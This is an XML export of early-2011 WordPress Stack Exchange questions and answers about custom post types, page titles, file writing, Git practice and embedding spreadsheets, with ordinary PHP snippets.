  <row Id="6841" PostTypeId="2" ParentId="6840" CreationDate="2011-01-13T00:18:19.627" Score="0" ViewCount="" Body="&lt;p&gt;Hmm... not sure if there are any WordPress-specific functions for creating files. There's wp_handle_upload, but I'm not sure how you'd use it in this context. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on your server configuration, you can probably just use fopen and fwrite to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep the code you're currently using (with your custom loops...I'm assuming they contain the XML markup you want), but have it build the output as a string. Then save that string into a file. Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Build your file contents as a string&#xA;$file_contents = '&amp;lt;?xml version=&quot;1.0&quot; ?&amp;gt;&amp;lt;yourroot&amp;gt;&amp;lt;item&amp;gt;some content&amp;lt;/item&amp;gt;&amp;lt;/yourroot&amp;gt;&amp;lt;/xml&amp;gt;';&#xA;&#xA;// Open or create a file (this does it in the same dir as the script)&#xA;$my_file = fopen(&quot;myfile.xml&quot;, &quot;w&quot;);&#xA;&#xA;// Write the string's contents into that file&#xA;fwrite($my_file, $file_contents);&#xA;&#xA;// Close 'er up&#xA;fclose($my_file);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, this all depends on your server config and permissions. Maybe someone has a better solution that only requires native WP functions.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2011-01-13T00:18:19.627" CommentCount="5" />
  <row Id="6842" PostTypeId="1" AcceptedAnswerId="6849" CreationDate="2011-01-13T00:38:57.500" Score="0" ViewCount="134" Body="&lt;p&gt;I have been coding a custom profile page for users in wordpress. &#xA;its a hard coded file called &quot;myprofile.php&quot; &#xA;I am unable to get the username to show up in the page title.. &#xA;take a look : &lt;a href=&quot;http://www.designzzz.com/user/ayazmalik/&quot; rel=&quot;nofollow&quot;&gt;http://www.designzzz.com/user/ayazmalik/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;k i tried a few filters to add title to this page but didn't helped me :( . &#xA;lets say the username storing variable is $myusername . how can i do it.. im considering this title : &lt;code&gt;&amp;lt;title&amp;gt;user_name&amp;lt;/title&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help is appreciated :) &#xA;cheers&lt;/p&gt;&#xA;" OwnerUserId="2419" LastActivityDate="2011-01-13T02:34:17.233" Title="Adding page Title in a custom coded page" Tags="&lt;customization&gt;&lt;page-template&gt;" AnswerCount="1" />
  <row Id="6843" PostTypeId="2" ParentId="6840" CreationDate="2011-01-13T00:51:44.107" Score="1" ViewCount="" Body="&lt;p&gt;Nothing built-in but you &lt;em&gt;should&lt;/em&gt; look into the various sitemaps plugins. These will show you a) where to hook into and b) how to generate the file if you're not familiar with php file manipulation.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2011-01-13T00:51:44.107" />
  <row Id="6844" PostTypeId="1" AcceptedAnswerId="6851" CreationDate="2011-01-13T01:11:59.207" Score="0" ViewCount="107" Body="&lt;p&gt;I found a way to export my posts in text form so that I can move them to a blog with static pages. The only problem is that there are no paragraph tags, so every post is a huge block of text. I had been using line breaks and relying on wpauto to add paragraph tags automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to add those tags into my posts without doing it by hand?&lt;/p&gt;&#xA;" LastActivityDate="2011-01-13T02:56:47.267" Title="How do I add paragraph tags to all of my posts after relying on wpauto?" Tags="&lt;export&gt;" AnswerCount="1" />
  <row Id="6845" PostTypeId="1" AcceptedAnswerId="6846" CreationDate="2011-01-13T01:58:56.330" Score="0" ViewCount="38" Body="&lt;p&gt;I've got a custom php file that I want to call every time someone publishes a new post. How would I go about doing that? Can I write it into the functions.php of my theme?&lt;/p&gt;&#xA;" OwnerUserId="2457" LastActivityDate="2011-01-13T02:13:38.833" Title="How would I got about calling a php file every time someone publishes a new post?" Tags="&lt;themes&gt;&lt;functions&gt;&lt;posts&gt;" AnswerCount="1" />
  <row Id="6846" PostTypeId="2" ParentId="6845" CreationDate="2011-01-13T02:13:38.833" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;add_action('publish_post', 'call_my_php_file');&#xA;function call_my_php_file($post_id){&#xA;  require_once(&quot;path/to/file.php&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-01-13T02:13:38.833" CommentCount="5" />
  <row Id="6848" PostTypeId="2" ParentId="6840" CreationDate="2011-01-13T02:22:16.567" Score="1" ViewCount="" Body="&lt;p&gt;Take a look at the &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-admin/includes/export.php&quot; rel=&quot;nofollow&quot;&gt;export_wp&lt;/a&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make a duplicate of it and keep only the stuff you want exported, then run this function every time a post is saved: &lt;code&gt;add_action('save_post', 'my_export_wp');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Make so the function sends its output to a xml file)&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-01-13T02:22:16.567" CommentCount="1" />
  <row Id="6849" PostTypeId="2" ParentId="6842" CreationDate="2011-01-13T02:34:17.233" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;function my_doc_title($title, $separator){&#xA;  if(is_author()) // &amp;lt;- replace this with your custom page; maybe is_page_template('myprofile.php') ?&#xA;   $title = get_the_author_meta('display_name', get_query_var('author')).$separator.get_bloginfo('name');&#xA;  return $title;&#xA;}&#xA;add_filter('wp_title', 'my_doc_title', 10, 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(functions.php)&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-01-13T02:34:17.233" CommentCount="18" />
  <row Id="6850" PostTypeId="1" AcceptedAnswerId="6869" CreationDate="2011-01-13T02:36:50.613" Score="1" ViewCount="98" Body="&lt;p&gt;I've currently been creating my Git repositories at the root level for each of my WordPress installations. Git of course then notices any core updates, plugins, and uploads. I'm considering just tracking the theme I'm working on or perhaps the entire themes directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to hear from other WordPress developers as to what are their preferred version control practices.&lt;/p&gt;&#xA;" OwnerUserId="947" LastActivityDate="2011-01-13T08:42:05.400" Title="Is it better to create a Git repository at the root level or in the WordPress theme directory?" Tags="&lt;version-control&gt;&lt;git&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="6851" PostTypeId="2" ParentId="6844" CreationDate="2011-01-13T02:51:05.570" Score="1" ViewCount="" Body="&lt;p&gt;a quick and dirty way to do this is by running this ONCE:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $post;&#xA;$posts = new WP_Query();&#xA;$posts-&amp;gt;query(array('posts_per_page' =&amp;gt; -1, 'post_type' =&amp;gt; 'post'));&#xA;while ($posts-&amp;gt;have_posts()):&#xA;  $posts-&amp;gt;the_post();&#xA;  $post-&amp;gt;post_content = wpautop($post-&amp;gt;post_content); // replaces new line chars with &amp;lt;p&amp;gt;'s&#xA;  wp_update_post($post); // updates the database&#xA;endwhile;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(didn't test it)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how are you exporting your posts in text form? Maybe you could apply the autop filter in your export routine&lt;/p&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2011-01-13T02:56:47.267" LastActivityDate="2011-01-13T02:56:47.267" />
  <row Id="6852" PostTypeId="1" CreationDate="2011-01-13T03:12:03.520" Score="0" ViewCount="76" Body="&lt;p&gt;I'm trying to either disable uploads that contain a &quot;.&quot; in their filename.. or rename them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I plugged the code below into my functions.php.. but I didn't see any difference. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/5505/rename-files-during-upload-using-variables&quot;&gt;rename files during upload using variables&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any help?&lt;/p&gt;&#xA;" LastActivityDate="2011-01-13T03:12:03.520" Title="disable / rename uploaded files if they contain a &quot;.&quot;" Tags="&lt;uploads&gt;&lt;image&gt;" CommentCount="4" />
  <row Id="6853" PostTypeId="2" ParentId="6850" CreationDate="2011-01-13T03:26:34.487" Score="1" ViewCount="" Body="&lt;p&gt;I’m using one Git repository per project: One for each theme, plugin, importer etc. If you don’t want so many projects, use &lt;a href=&quot;http://www.kernel.org/pub/software/scm/git/docs/gitignore.html&quot; rel=&quot;nofollow&quot;&gt;gitignore&lt;/a&gt; to avoid the tracking of native WP files.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-01-13T03:26:34.487" CommentCount="1" />
  <row Id="6854" PostTypeId="1" CreationDate="2011-01-13T04:06:35.917" Score="0" ViewCount="109" Body="&lt;p&gt;I have a picture story blog similar to www.boston.com/bigpicture/.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is it possible to add auto anchor to pictures, depending on the number of pictures, and display the anchor number ontop of the picture like they have done here: &lt;a href=&quot;http://www.boston.com/bigpicture/2010/12/a_new_year_rolls_in.html&quot; rel=&quot;nofollow&quot;&gt;http://www.boston.com/bigpicture/2010/12/a_new_year_rolls_in.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&#xA;&lt;li&gt;1st picture: no anchor&lt;/li&gt;&#xA;&lt;li&gt;2nd picture: #photo2&lt;/li&gt;&#xA;&lt;li&gt;3rd picture: #photo3&lt;/li&gt;&#xA;&lt;li&gt;4th picture: #photo4&lt;/li&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2374" LastActivityDate="2011-01-13T04:06:35.917" Title="Auto anchor depending on the number of pictures" Tags="&lt;html&gt;&lt;automate&gt;&lt;pictures&gt;" CommentCount="3" />
  <row Id="6856" PostTypeId="1" AcceptedAnswerId="6864" CreationDate="2011-01-13T04:30:30.147" Score="1" ViewCount="671" Body="&lt;p&gt;I'm questioning how i can &lt;strong&gt;get rid of the post-editor&lt;/strong&gt; (visual + html). I tried to not register post type support, and it still appears (de-registering works fine with every other default meta box on post edit screen). I also tried to deregister it with remove_meta_box, which didn't work too (works for everything else except the title meta box). Maybe i'm missing something. Already searched the web and couldn't find anything. I hope someone can tell me. Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ps. I would be happy about a sollution for disabling the title field too, but that's 2nd (not registering it with the post type works).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Wordpress version is 3.0.4.)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-01-13T05:01:38.823" LastActivityDate="2011-01-14T00:29:55.847" Title="Custom Post Types: How-to get rid of editor (-meta box)" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;editor&gt;" AnswerCount="4" />
  <row Id="6857" PostTypeId="2" ParentId="6856" CreationDate="2011-01-13T05:01:59.060" Score="1" ViewCount="" Body="&lt;p&gt;I use the Custom Post Type UI plugin to create custom post types.  Using this plugin, you can disable the post-editor under the advanced options.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Manage Post Type -&gt; View Advanced Options&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a link to the plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-type-ui/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/custom-post-type-ui/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS - It lets you disable the title field too :) &lt;/p&gt;&#xA;" OwnerUserId="2107" LastActivityDate="2011-01-13T05:01:59.060" CommentCount="3" />
  <row Id="6858" PostTypeId="2" ParentId="6856" CreationDate="2011-01-13T05:04:21.710" Score="6" ViewCount="" Body="&lt;p&gt;Giving a blank array to 'supports' in the declaration of the post type should get rid of the editor and the title, along with every other default box in the edit post page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$supports = array ('');&#xA;    $args = array(&#xA;      'label' =&amp;gt; 'people',&#xA;      'supports' =&amp;gt; $supports,&#xA;      'hierarchical' =&amp;gt; false,&#xA;      'public' =&amp;gt; true,&#xA;      'rewrite' =&amp;gt; true&#xA;         );&#xA;&#xA;    register_post_type( 'people', $args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result:&#xA;&lt;img src=&quot;http://i.stack.imgur.com/R3UXS.jpg&quot; alt=&quot;alt text&quot;&gt;&#xA;Populate 'supports' with whichever elements you want to show up, such as trackbacks, comments, etc.  Or just leave it blank to leave the page empty, except for the box that lets you save your posts.  Make sure to visit &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6183/how-do-you-remove-a-category-style-hierarchical-taxonomy-metabox&quot;&gt;here&lt;/a&gt; if you want to get rid of hierarchical taxonomy metaboxes as well.&lt;/p&gt;&#xA;" OwnerUserId="2234" LastEditorUserId="2234" LastEditorDisplayName="" LastEditDate="2011-01-13T05:29:52.897" LastActivityDate="2011-01-13T05:29:52.897" CommentCount="11" />
  <row Id="6859" PostTypeId="1" CreationDate="2011-01-13T05:30:17.997" Score="0" ViewCount="232" Body="&lt;p&gt;I have an excel spreadsheet that needs to get on a WP site PDQ and IE is choking on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried making an html table, but it's huge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked into some kind a database plugin that would let me import a cvs and then let users browse it, but I can't even figure out the right search terms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate any input. Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question: Do you have any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;==================&#xA;update 1/15/2011&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ended up using these steps:&#xA;1. Go to &lt;strong&gt;Google Docs&lt;/strong&gt; ► open the spreadsheet ► click &lt;strong&gt;Share&lt;/strong&gt; ► &lt;strong&gt;Publish as a web page&lt;/strong&gt; ► select the sheet to publish ► click Start publishing ► click on All cells field ► insert the cells range, e.g. A2:A3 ► click &lt;strong&gt;Republish now&lt;/strong&gt; ► copy &lt;em&gt;the-link&lt;/em&gt; ► &lt;strong&gt;Close&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;&amp;lt;iframe src=&quot;The-Link&quot; width=&quot;w&quot; height=&quot;h&quot; frameborder=&quot;0&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/code&gt;&#xA;the-link = url from google&#xA;w = width in pixels&#xA;h = height in pixels&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;=====================&#xA;update 1/20/2011&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It turns out that is is a great way to present data that you don't want to share for copying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can setup a private Google Doc and use an iframe to display it and people can't go into the source to copy your data. I put a simple no right click script in and some no print css code and the average Joe is not getting this data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of you guys might get it, but most folks have no chance. :)&lt;/p&gt;&#xA;" OwnerUserId="2469" LastEditorUserId="2469" LastEditorDisplayName="" LastEditDate="2011-01-21T05:50:28.333" LastActivityDate="2011-01-21T17:03:15.043" Title="I have a 1300 line excel spreadsheet that needs to get into a wordpress site ASAP - Looking for ideas" Tags="&lt;database&gt;&lt;google-docs&gt;" AnswerCount="4" CommentCount="2" />
  <row Id="6862" PostTypeId="2" ParentId="6859" CreationDate="2011-01-13T06:30:28.593" Score="5" ViewCount="" Body="&lt;p&gt;Do you need this data properly integrated in WordPress or merely available for users to view?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If latter I'd not bother with import and just used something more fitting like &lt;a href=&quot;https://docs.google.com/&quot; rel=&quot;nofollow&quot;&gt;Google Docs&lt;/a&gt; to put spreadsheet online and &lt;a href=&quot;http://docs.google.com/support/bin/answer.py?hl=en&amp;amp;answer=55244&quot; rel=&quot;nofollow&quot;&gt;embed&lt;/a&gt; at site (there is probably bunch of plugins for this as well).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-13T06:30:28.593" CommentCount="1" />
  <row Id="6863" PostTypeId="1" CreationDate="2011-01-13T07:35:27.247" Score="0" ViewCount="86" Body="&lt;p&gt;Please help me out.. I had uploaded new theme(child theme) in clients server.Theme folder has &lt;i&gt;twenty ten&lt;/i&gt; and &lt;i&gt;child theme&lt;/i&gt; now.But when i  activated the theme in admin side ,the twenty ten shows the corresponding child theme and the new  one shows the html template (from that html template i made the corresponding wordpress theme).Is this the problem with uploading? what went wrong ?&lt;/p&gt;&#xA;" LastActivityDate="2011-08-30T18:37:03.767" Title="problem with wp theme uploading to server..?" Tags="&lt;themes&gt;&lt;server-load&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="6864" PostTypeId="2" ParentId="6856" CreationDate="2011-01-13T07:36:53.070" Score="1" ViewCount="" Body="&lt;p&gt;Ok, i now got some pretty hackish sollution... but it works so far. Still interessted in a &quot;real&quot; sollution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original array looks similar to this one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array( 'supports' =&amp;gt; array('title', 'editor', 'thumbnail') );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I now use a filter like this to override them by the array-index:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_filter() {&#xA;$args['support'][0] = ''; // sets title to empty: works&#xA;$args['support'][1] = ''; // sets editor to empty: works&#xA;}&#xA;add_filter('config_cpt_args-whatever', 'my_filter');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Oh yea, and it only works when i don't try to add this way support. In this case it re-sets the editor and title. All other pre-defined meta boxes disappear (except custom taxonomies)...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_filter() {&#xA;$args['support'][0] = ''; // doesn't work anymore&#xA;$args['support'][1] = ''; // doesn't work anymore&#xA;$args['support'][2] = 'thumbnail'; // sets thumbnail meta box&#xA;}&#xA;add_filter('config_cpt_args-whatever', 'my_filter');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT: This works, but be aware of the &quot;mines&quot;. (Sollution suggested by Mr. &quot;Rarst&quot; in a comment above)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_filter() {&#xA;$args['support'][0] = 'dummy_value'; // works (poss. later trap)&#xA;$args['support'][1] = 'dummy_value'; // works (poss. later trap)&#xA;$args['support'][2] = 'thumbnail'; // sets thumbnail meta box&#xA;}&#xA;add_filter('config_cpt_args-whatever', 'my_filter');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-01-14T00:29:55.847" LastActivityDate="2011-01-14T00:29:55.847" CommentCount="5" />
  <row Id="6865" PostTypeId="1" AcceptedAnswerId="6866" CreationDate="2011-01-13T07:53:05.513" Score="0" ViewCount="244" Body="&lt;p&gt;I got some problems during my loading priority/order that i already discovered. Now i ran into the problem that i can't use any post_thumbnail functions (get_post_thumbnail_id, has_post_thumbnail, the_post_thumbnail): &quot;Call to undefined function&quot;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know at which point these functions are loaded? I would be satisfied if i know after which hook they get loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I traced down all files that get loaded on my edit custom post type edit screen. It's 64 file from core before my theme files start loading. &#xA;Files starting from #26 are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/wp-includes/general-template.php&lt;/li&gt;&#xA;&lt;li&gt;/wp-includes/link-template.php&lt;/li&gt;&#xA;&lt;li&gt;/wp-includes/author-template.php&lt;/li&gt;&#xA;&lt;li&gt;/wp-includes/post.php&lt;/li&gt;&#xA;&lt;li&gt;/wp-includes/post-template.php&lt;/li&gt;&#xA;&lt;li&gt;/wp-includes/category.php&lt;/li&gt;&#xA;&lt;li&gt;/wp-includes/category-template.php&#xA;... but /wp-includes/post-thumbnail-template.php doesn't seem to load. Weired ...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Edit 2: post thumbnail support is activated and i can upload images. Only when i try to view them then i get the error about the id function. My problem is that it worked an hour ago and i need to track down whatever is causing this behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit 3: Funny. I load my files at init.. right after the file should get included. Plus: I just downloaded wordpress again and replaced the file, so everything from this side should be fine.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-01-13T08:13:19.310" LastActivityDate="2011-01-13T08:13:19.310" Title="On what point (hook) does the_/has_post_thumbnail() load?" Tags="&lt;post-thumbnails&gt;" AnswerCount="1" />
  <row Id="6866" PostTypeId="2" ParentId="6865" CreationDate="2011-01-13T08:04:01.140" Score="1" ViewCount="" Body="&lt;p&gt;These are included in &lt;code&gt;wp-settings.php&lt;/code&gt; right after &lt;code&gt;after_setup_theme&lt;/code&gt; hook and so should be available starting with &lt;code&gt;init&lt;/code&gt; hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also check if you have &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_theme_support&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_theme_support( 'post-thumbnails' );&lt;/code&gt;&lt;/a&gt; declared in your theme, otherwise these functions won't be included at all.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-13T08:04:01.140" CommentCount="2" />
  <row Id="6867" PostTypeId="1" AcceptedAnswerId="6874" CreationDate="2011-01-13T08:19:04.017" Score="0" ViewCount="431" Body="&lt;p&gt;I have this simple snippet to retrieve the categories (taxonomies) of my Custom Post Type 'portfolio' I need to display each taxonomy but it displays all the categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just saw this question &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4724/filter-get-categories-for-taxonomy-term-in-wordpress&quot;&gt;Filter get_categories() for taxonomy term in WordPress&lt;/a&gt; and unfortunately I tried with no success.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    query_posts(&amp;quot;post_type=portfolio&amp;quot;);&#xA;    if ( have_posts() ) : while ( have_posts() ) : the_post(); &#xA;    $catid = get_cat_id('Images');&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php &#xA;    $categories=  get_categories('child_of='.$catid.'&amp;orderby=name'); &#xA;    foreach ($categories as $cat) {&#xA;    $input = '&amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;#&amp;quot; data-value=&amp;quot;category-'.$cat-&amp;gt;category_nicename.'&amp;quot;&amp;gt;';&#xA;      $input .= $cat-&amp;gt;cat_name;&#xA;      $input .= '&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;      echo $input;&#xA;      }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can you please guide me or give me a hint? Thanks so much.&lt;/p&gt;&#xA;" OwnerUserId="2470" LastActivityDate="2011-05-07T20:28:23.340" Title="Filter get_cat_id for Custom Post Type" Tags="&lt;custom-post-types&gt;&lt;taxonomy&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="6868" PostTypeId="2" ParentId="6856" CreationDate="2011-01-13T08:25:38.907" Score="5" ViewCount="" Body="&lt;p&gt;If you pass nothing for the &lt;code&gt;supports&lt;/code&gt; argument, &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-includes/post.php#L847&quot; rel=&quot;nofollow&quot;&gt;the default settings of &lt;code&gt;'title', 'editor'&lt;/code&gt; is used&lt;/a&gt; (where &quot;nothing&quot; is anything that is &lt;code&gt;empty()&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, just like you can add support for something after registering the post type with &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-includes/post.php#L980&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_post_type_support( $post_type, $feature )&lt;/code&gt;&lt;/a&gt;, you can remove support for something by calling &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-includes/post.php#L1006&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;remove_post_type_support( $post_type, $feature )&lt;/code&gt;&lt;/a&gt;. So calling this after registering your post type should remove the editor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_post_type_support( 'my_post_type', 'editor' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These functions just manipulate the global &lt;code&gt;$_wp_post_type_features&lt;/code&gt; variable, but it's always better to do this with API functions than to fiddle with it yourself.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-13T08:25:38.907" CommentCount="6" />
  <row Id="6869" PostTypeId="2" ParentId="6850" CreationDate="2011-01-13T08:42:05.400" Score="3" ViewCount="" Body="&lt;p&gt;If I'm working on whole project for a client (WP install + custom theme + plugins), I put everything in one repository. My thinking is that I created one &quot;solution&quot; based on WP + some existing plugins + my added code, and thus I should track it as one solution. When WP or a plugin is updated I need to test it on a dev and/or staging environment anyway, so it's better to know the version control status of the whole project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I'm working on one plugin, I put it outside the WP directory and use symlinks from multiple installations to simplify testing. The repository is then only the plugin. The only problem there is that &lt;code&gt;__FILE__&lt;/code&gt; won't work, so I work with a &lt;code&gt;define()&lt;/code&gt; to simulate my path.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-13T08:42:05.400" CommentCount="1" />
  <row Id="6870" PostTypeId="2" ParentId="322" CreationDate="2011-01-13T08:43:07.750" Score="0" ViewCount="" Body="&lt;p&gt;Maybe (and that's just for future readers - it's an old Q) you can list all 'post_type' =&gt; 'attachment' and start separating from there. I mean fetching the posts and saving the different locations in one array. Then sort this out to get an overview of where your images are lying around...&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-01-13T08:43:07.750" CommentCount="7" />
  <row Id="6871" PostTypeId="2" ParentId="6831" CreationDate="2011-01-13T08:49:55.733" Score="0" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Andy:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you up for developing something in PHP and jQuery? It should't be too hard to add a button that would do an AJAX submit to add&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How many total followers do you except anyone to have on your site. If the number is less than 1000 you might get away with just storing a comma separated list of &lt;code&gt;user_id&lt;/code&gt; fields in a &lt;code&gt;wp_usermeta&lt;/code&gt;value, or you could add one record in each &lt;code&gt;wp_usermeta&lt;/code&gt; record per follower. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, not a super big project?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-13T08:49:55.733" CommentCount="2" />
  <row Id="6872" PostTypeId="2" ParentId="6829" CreationDate="2011-01-13T09:02:21.500" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Scott B:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress doesn't provide the hooks you want but it you are willing to use PHP's output buffering and &lt;code&gt;preg_replace()&lt;/code&gt; you can get it to work without hacking core.  Here's an answer that talks about the general technique required:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/2384/removing-unnecessary-text-from-admin-menu-without-css/2392#2392&quot;&gt;&lt;strong&gt;Removing Unnecessary Text from Admin Menu without CSS&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The hooks you'll want to use are  &lt;code&gt;'category_pre_add_form'&lt;/code&gt; for &lt;code&gt;ob_start()&lt;/code&gt; and  &lt;code&gt;'category_add_form'&lt;/code&gt; for &lt;code&gt;ob_get_clean().&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-13T09:02:21.500" CommentCount="4" />
